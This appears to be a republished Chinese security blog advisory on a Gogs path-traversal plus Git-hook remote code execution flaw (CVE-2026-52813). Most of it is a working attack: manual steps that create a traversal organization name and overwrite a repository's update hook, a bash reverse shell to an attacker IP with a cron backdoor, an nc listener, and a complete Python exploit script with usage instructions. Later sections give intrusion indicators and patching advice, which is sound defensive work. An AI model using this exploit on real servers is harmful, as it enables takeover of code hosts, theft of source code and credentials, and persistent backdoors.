文章总结: 该文档详细分析了Gogs平台CVE-2026-52813高危漏洞,该漏洞因路径遍历与Git钩子组合导致远程代码执行,CVSS评分10.0。漏洞原理是组织名称参数未过滤路径穿越字符,允许攻击者通过恶意组织名将仓库目录写入服务器任意路径,结合覆写Git钩子脚本实现RCE。文档提供了手动利用步骤、Python自动化POC脚本、入侵痕迹排查指标及分级修复方案,建议立即升级至Gogs0.14.3或实施临时加固措施。 综合评分: 92 文章分类: 漏洞分析,WEB安全,解决方案,应急响应,红队
【高危漏洞预警】CVE-2026-52813|Gogs路径遍历+Git钩子组合RCE
飓风网络安全
2026年6月30日 22:22 北京
在小说阅读器读本章
去阅读
漏洞概览: 漏洞类型 路径遍历(CWE-22)+代码执行(CWE-94) 危险等级: CVSS 3.1 满分10.0 严重漏洞 影响产品 :Go语言轻量级Git托管平台Gogs 受影响版本: Gogs ≤ 0.14.2 安全版本: Gogs ≥ 0.14.3 利用前置条件 :目标开启用户注册权限,攻击者拥有普通会员账号,支持新建组织与仓库 执行权限 Gogs服务运行账户,Linux默认git用户,极易提权至服务器最高权限 关联漏洞 CVE-2026-52806(同平台命令注入漏洞,可组合构建完整攻击链) 攻击现状 :公开POC/EXP大量扩散,批量扫描工具流出,公网、政企内网自建Gogs资产面临批量入侵风险
漏洞简述: Gogs在创建组织功能接口中,未对组织名称参数做严格的路径穿越字符过滤与路径规范化处理,攻击者可通过构造包含../跳转字符的恶意组织名,将仓库目录写入服务器任意物理路径。 结合Git仓库hooks钩子自动执行机制,攻击者可恶意覆写钩子脚本植入系统命令,在推送代码时自动触发执行,无需管理员权限即可实现远程代码执行,一旦攻陷目标,可窃取全部源码、服务器配置、数据库凭证,甚至拿下整台服务器控制权。
二、漏洞原理与源码根因剖析
-
Gogs默认仓库存储规则 Gogs常规仓库存储路径固定格式: {数据根目录}/org/{组织名}/{仓库名}.git/ 程序直接拼接用户可控的组织名称字段生成物理目录,未做输入净化,当组织名带入../路径跳转字符时,即可跳出预设目录,指向服务器任意文件夹。
-
漏洞核心缺陷源码逻辑(伪代码) // 漏洞核心代码:直接拼接用户输入,无路径遍历拦截 func CreateOrganization(org *models.Organization) error { // 未经处理直接使用用户传入的组织名拼接本地路径 repoPath := filepath.Join(setting.RepoRootPath, “org”, org.Name) // 直接创建目录,无非法字符黑名单、无路径标准化校验 if err := os.MkdirAll(repoPath, 0755); err != nil { return err } // 基于可控路径创建Git仓库,开放.git/hooks目录读写权限 return createOrgRepository(org) }
三大核心安全缺陷:
-
未拦截../、正反斜杠、绝对路径等危险字符;
-
未调用路径标准化函数消除目录跳转逻辑;
-
新建仓库完整开放Git钩子目录读写权限,为命令执行提供载体。
4.Git Hooks攻击利用逻辑
Git钩子属于仓库本地自动化脚本,update钩子会在每一次代码推送时强制自动运行,完整攻击逻辑:
-
路径穿越将恶意仓库定位至目标正常仓库的.git/hooks上级目录;
-
覆盖原有update可执行脚本,植入反弹Shell、系统命令、持久化后门;
-
向恶意仓库提交并推送代码,自动触发钩子执行,完成远程控制。
三、完整手动实操利用步骤 测试环境:Linux系统Gogs 0.14.2,开启公开注册,端口默认3000对外开放
步骤1:注册普通访客账号
访问目标Gogs站点注册页面,新建普通用户账号,无需管理员审核即可登录后台。
步骤2:创建路径穿越恶意组织
组织名称填入路径遍历Payload,按需调整层级: ../../../../var/lib/gogs/repos/目标用户名/目标仓库名/.git 该Payload可让新建组织目录直接指向目标仓库的.git根目录,为覆盖hooks文件夹铺路。
步骤3:恶意组织内新建hooks仓库
仓库名称固定填写hooks,创建完成后会直接覆盖原有仓库的.git/hooks目录。
步骤4:编写并上传恶意update钩子脚本
- Linux反弹Shell钩子脚本(文件命名为update,无后缀):
!/bin/bash
反向连接攻击机IP与监听端口
bash -i >& /dev/tcp/192.168.1.100/443 0>&1
写入定时任务后门持久化
echo “*/1 * * * * /tmp/back.sh” >> /var/spool/cron/crontabs/git
- 本地初始化Git仓库并推送恶意钩子: git init mkdir .git/hooks cp update .git/hooks/update chmod +x .git/hooks/update git add . git commit -m “poc hook” git push http://攻击者账号@目标IP:3000/恶意组织/hooks.git main 步骤5:监听端口触发漏洞执行
攻击机终端开启监听: nc -lvp 443 代码推送瞬间目标服务器自动执行钩子脚本,攻击者获取服务器交互式Shell,漏洞利用完成。 Windows环境替换钩子内容为CMD命令: @echo off cmd /c whoami > C:\tmp\result.txt 四、Python自动化POC完整脚本&使用教程
POC完整代码 import requests import os import subprocess import time from urllib.parse import urljoin
class Gogs_CVE_2026_52813_POC: def __init__(self, target_url, username, password, payload_cmd, jump_path): self.target = target_url.rstrip(“/”) self.session = requests.Session() self.username = username self.password = password self.jump_payload = jump_path # 路径穿越字符串 self.cmd = payload_cmd self.csrf_token = “”
def get_csrf(self): “””获取Gogs CSRF Token””” res = self.session.get(urljoin(self.target, “/user/login”), verify=False) token = res.text.split(‘name=”_csrf” value=”‘)[1].split(‘”‘)[0] self.csrf_token = token return token
def login(self): “””账号登录””” self.get_csrf() data = { “_csrf”: self.csrf_token, “user_name”: self.username, “password”: self.password, } self.session.post(urljoin(self.target, “/user/login”), data=data, verify=False) print(“[+] 登录成功”)
def create_org(self): “””创建路径穿越恶意组织””” self.get_csrf() data = { “_csrf”: self.csrf_token, “name”: self.jump_payload, “display_name”: “poc_test”, “description”: “test” } self.session.post(urljoin(self.target, “/org/create”), data=data, verify=False) print(f”[+] 恶意组织 {self.jump_payload} 创建完成”)
def create_repo(self): “””创建hooks恶意仓库””” self.get_csrf() data = { “_csrf”: self.csrf_token, “uid”: “0”, “repo_name”: “hooks”, “description”: “”, “private”: “false”, “auto_init”: “true” } self.session.post(urljoin(self.target, f”/org/{self.jump_payload}/new”), data=data, verify=False) print(“[+] hooks恶意仓库创建成功”)
def build_and_push_hook(self): “””本地生成钩子脚本并推送””” tmp_dir = “/tmp/gogs_poc_temp” if os.path.exists(tmp_dir): subprocess.run([“rm”, “-rf”, tmp_dir]) os.mkdir(tmp_dir) os.chdir(tmp_dir) subprocess.run([“git”, “init”]) os.mkdir(“.git/hooks”) # 写入恶意update钩子 hook_content = f”#!/bin/bash\n{self.cmd}” with open(“.git/hooks/update”, “w”) as f: f.write(hook_content) subprocess.run([“chmod”, “+x”, “.git/hooks/update”]) subprocess.run([“git”, “config”, “user.name”, “poc”]) subprocess.run([“git”, “config”, “user.email”, “[email protected]”]) subprocess.run([“git”, “add”, “.”]) subprocess.run([“git”, “commit”, “-m”, “rce_poc”]) repo_url = f”{self.target}/{self.jump_payload}/hooks.git” subprocess.run([“git”, “push”, “-f”, repo_url, “master”], input=f”{self.username}\n{self.password}\n”.encode()) print(“[+] 恶意钩子推送完毕,命令已触发”) os.chdir(“/”)
def exp_start(self): try: self.login() self.create_org() self.create_repo() self.build_and_push_hook() except Exception as e: print(f”[-] 利用失败:{str(e)}”)
if __name__ == “__main__”: # 配置参数 TARGET = “http://127.0.0.1:3000” # 目标Gogs地址 USER = “test_user” # 注册账号 PWD = “test123456” # 账号密码 # 路径穿越跳转:根据目标Gogs实际仓库根目录修改 PATH_PAYLOAD = “../../../../var/lib/gogs/repos/admin/demo/.git” # 执行命令:反弹shell替换为自己攻击机IP端口 CMD_PAYLOAD = “bash -i >& /dev/tcp/192.168.1.100/443 0>&1”
poc = Gogs_CVE_2026_52813_POC(TARGET, USER, PWD, CMD_PAYLOAD, PATH_PAYLOAD) poc.exp_start() POC使用说明
-
依赖环境:Python3、git客户端、requests库
-
安装依赖:pip install requests
-
修改头部目标地址、账号、路径Payload、执行命令
-
Linux靶机执行反弹Shell前,攻击机开启nc -lvp 443监听 五、入侵痕迹IOC与日志排查指标 运维人员可通过以下特征排查是否遭受该漏洞攻击:
-
异常组织名称:组织名包含../、多级路径跳转字符;
-
仓库目录篡改:原有仓库.git/hooks/update文件修改时间异常、内容新增bash/cmd恶意命令;
-
Git操作日志:Gogs后台审计日志出现非常规路径创建组织记录;
-
系统进程:git用户主动发起外网TCP连接(反弹Shell外联);
-
文件特征:临时目录生成后门脚本、定时任务新增恶意计划任务。 六、分级修复与加固方案(优先级从高到低) 方案1:官方彻底修复(推荐首选) 直接升级Gogs至v0.14.3及以上正式版本 官方下载地址:https://github.com/gogs/gogs/releases/tag/v0.14.3 升级后官方修复路径遍历过滤逻辑,禁用非法字符组织名称创建,彻底封堵漏洞入口。
方案2:无法紧急升级时临时阻断措施
-
关闭公开用户注册,修改app.ini配置文件并重启服务: [auth] DISABLE_REGISTRATION = true
-
限制普通用户新建组织权限,仅管理员可创建组织;
-
服务器端锁定所有Git仓库.git/hooks目录只读权限,禁止git账号写入修改;
-
Nginx/Apache WAF拦截规则:请求体组织名称字段拦截../、/、\路径穿越字符;
-
禁用Gogs仓库Pull Request合并变基功能(同时阻断CVE-2026-52806关联漏洞)。
方案3:内网纵深防护
-
自建Gogs禁止直接暴露公网,前置VPN/内网堡垒机访问;
-
监控git用户外联网络行为,阻断陌生IP反向连接;
-
定期全局审计所有Git仓库hooks脚本内容。
七、风险总结 CVE-2026-52813作为满分CVSS 10级严重RCE漏洞,攻击门槛极低(仅需普通注册账号),对公网、政企内网大量部署的Gogs私有代码服务器威胁极高,一旦利用成功将造成源代码泄露、服务器沦陷、内网横向渗透等重大安全事件。建议所有使用Gogs的单位24小时内完成版本升级或临时加固,并开展全网资产扫描排查受影响实例。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:飓风网络安全 《【高危漏洞预警】CVE-2026-52813|Gogs路径遍历+Git钩子组合RCE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论